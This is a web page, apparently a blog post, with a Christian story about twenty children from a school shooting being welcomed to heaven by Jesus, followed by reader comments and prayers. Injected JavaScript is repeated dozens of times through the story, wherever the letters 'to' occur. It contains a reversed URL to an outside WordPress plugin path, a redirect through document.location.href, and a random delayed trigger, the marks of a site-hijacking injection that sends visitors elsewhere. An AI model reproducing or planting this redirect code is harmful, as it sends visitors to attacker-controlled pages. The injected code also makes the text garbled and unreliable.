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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolia_26233360_S-150×150.jpg” alt=”” width=”150″ height=”150″ />20 mothers and 20 fathers wept. And, with them did the world.
In a stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory that has become all toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too familiar in our crazy world, a man who chose evil over God a week ago Friday brought Jesus, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tears.
There would be no judgment this day for the 20. None was needed. These were 20 souls who had not been on earth long enough toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have had toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ask for forgiveness for anything. These 20 suddenly found themselves riding on a new school bus with heaven being their next stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top.
When the 20 reached heaven they bounded off the bus and ran toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Jesus, who was waiting for them.
“Why are you sad Jesus,” said one of the smallest looking up at Him and taking his hand as she noticed tears in His eyes.
As He wiped His eyes, Jesus knelt down on one knee so He could look at her face toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to face. He wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to welcome them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to heaven with a smile so they wouldn’t sense any sadness and with open arms so they knew they would now be safe forever.
“I’m not sad,” Jesus answered, trying toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to shelter them from the truth of a world gone partially mad as their parents had done for several years before. “I am just so happy that you have come toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see me in my house toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today.”
The boys ran about a bit and shouted as they normally do in the schoolyard while the girls stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tood close by Jesus.
As Jesus watched them, He felt something was wrong. He looked around and counted. There were only 19. There should have been 20. Where was the last one?
“He’s still on the bus,” someone said, knowing what Jesus was looking for.
“Stay here, I’ll be right back,” He said toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the group and He boarded the bus. In the back row was a lone child sitting there looking out the window watching the others play.
“Don’t you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to come out and be with the other children?” Jesus asked as he sat down next toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the boy.
The boy nodded yes but didn’t move.
“Is something bothering you?” asked Jesus.
The boy gave a shrug that meant something somewhere between yes, no, and I don’t know.
“Come on,” said Jesus as He put his arm around the boy. “Please, tell me what’s wrong.”
“My mommy and daddy are going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to miss me,” he said quietly.
“I know,” said Jesus, “we all miss people we love after they are gone from our lives.”
“But why do they have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leave? Why did I have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leave and come here?” The boy asked.
“Do you know how your parents watched over you and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took care of you while you were with them?”
The boy nodded.
“Well, now it’s time for you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to watch over them and take care of them from here. They are going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to feel how strong you are and how happy you are being here with me.”
“They will know that?”
“Yes they will.”
The boy thought for a while and his mood seemed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lighten a bit.
“Do they know I’m here?” He asked again in a little different way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gain a little more reassurance.
“Of course they do and that makes them know you are safe now.”
“But they will still miss me,” stated the boy.
“They will.” Jesus and the boy just sat quietly for a few minutes and Jesus said, “do you remember when your Grammy went toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to heaven?”
The little boy nodded.
“Well, she came toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be with me and my Dad.”
The little boy looked up at Him.
“You were sad and missed your Grammy then didn’t you?” Jesus asked.
The little boy nodded.
“What did your mom tell you then?”
“She toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told me that Grammy went toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be with God and Jesus and that she wasn’t sad there so we shouldn’t be sad either. She said that Grammy was going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be happy and that we might miss her but we should be happy that she is with…” the boy paused for a minute and looked up at Jesus. As if a light went on in the boys mind, he smiled and pointed at Jesus and said, “You.”
“That’s right she is with me,” Jesus said with a smile and a little reassuring squeeze around the boy’s shoulders and said, “hey, look who’s here.”
The boy looked up and at the front of the bus stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tood an older lady.
“Grammy!” The boy shouted. He jumped up and ran intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to her arms. “What are you doing here?”
“I came toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say hi,” she said as she gave him a big hug. “Poppy’s here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too and can’t wait toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see you.”
She toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took the boys hand and led him off the bus.
“Why don’t you go play with the other boys and girls now,” the grandmother said. “We’ll see each other again really soon.”
“Promise?” asked the boy.
“Promise,” said the grandmother as the boy ran off toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to meet the others.
When Jesus got off the bus, He noticed that the girls had joined the boys, playing and running around in the flowers that filled the fields around them.
Jesus watched them for a few minutes, lost in the joy of the children’s laughter.
“Come on,” said Jesus as He started walking up a path that led toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towards and over the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top of a nearby hill. “Do you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to meet my Dad?”
The children whooped and hollered as they ran toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to catch up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Him. As they did, tears again came toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Jesus’ eyes.
The tears came from sadness because evil had brought these twenty toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to him much sooner than they should have come. But, the tears also came out of joy as He watched the 20 running through the fields of heaven playing with the vigor of unbridled youth. He continued toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to walk with them as their laughter filled the air like songbirds singing on a warm spring day making heaven seem just a little bit fuller this day.
The 20 will forever be children living in God’s house as they, now, take their turn watching over those they left behind.
Speechless.
THANK YOU, I WILL POST THIS FOR THOSE WHO NEED REASSURANCE. JESUS MET THEM TO TAKE THEM TO OUR FATHER THAT DAY. FOR ALL THE PARENTS WHOM LOST CHILDREN THAT DAY I AM SO SORRY , BUT I REJOICE KNOWING THEY ARE WITH MY FATHER!!!
Thank-you JESUS ……………Enough said <3
Thank You, Lord For giving your sons life on the cross for our sins.
Thankyou Jesus. I love you
The peace of god how wonderful.lord keep your
Hands on there parents and family and children
that were there and first responders heal their
hearts and mind comfort them and in time
god will heal.thank you jesus.
AMEN
Lord Jesus help the ones who cannot help themselves .give me the strength to be able to help others .even better even when wrong has been done give me the strength to forgive them .and let me not judge them .and I give you these problems there crosses are not my cross to bare. and Lord forgive me if I have judge them let your will be done amen
I’m sorry Jesus for all my mistakes and sins. Forgive me Father God…Watch over me & continue guide the path i am going…Guard & touch my heart always! Thank You for everything…I Love You Jesus!
God Bless all of the 20 small innocent children, but also let us not forget the 6 adults that also gave their lives to try and protect all of the innocent ones who did not know what to do.You see everyone is asking where was God that day of this horriable tragedy, WELL GOD was there. Just stop and think how many more innocent children could have been taking home to be with him.God Bless all of the families that are suffering every day since that tragic day, But only through GOD will they find Peace and strenght they need to carry on! One thing we can say is they are home now , where NO ONE can ever harm them again, and will be there for eterinity with the Lord. AMEN
What a beautiful beautiful story!!! THANK YOU JESUS!!
THANK YOU JESUS AND EVERY ONE I LOVE YOU ALL
Heartbreaking yet wonderful story. Thank you Elmer.
An inspiring and soul soothing story. Feeling that those innocent souls are under Jesus’s care taps into our faith and relieves some of the painful sting of this evil, senseless act when praying for them. Trusting that they are under Jesus protection is our faith in action.
Very cmforting Irecently lost my dad heaven is rejoicing i miss him
There are no tears or sadness in Heaven, and Jesus doesn’t lie to us to shelter anyone’s feelings.
i was a muslim who have been in darkness for so long,but i thank God now bcoz i have seen the light through jesus christ.i just hope one day
my parent will come to know jesus christ as the light,thank you lord jesus i love you.
At least one other person knows the truth and speaks it. “There are no tears or sadness in Heaven, and Jesus doesn’t lie to us to shelter anyone’s feelings.”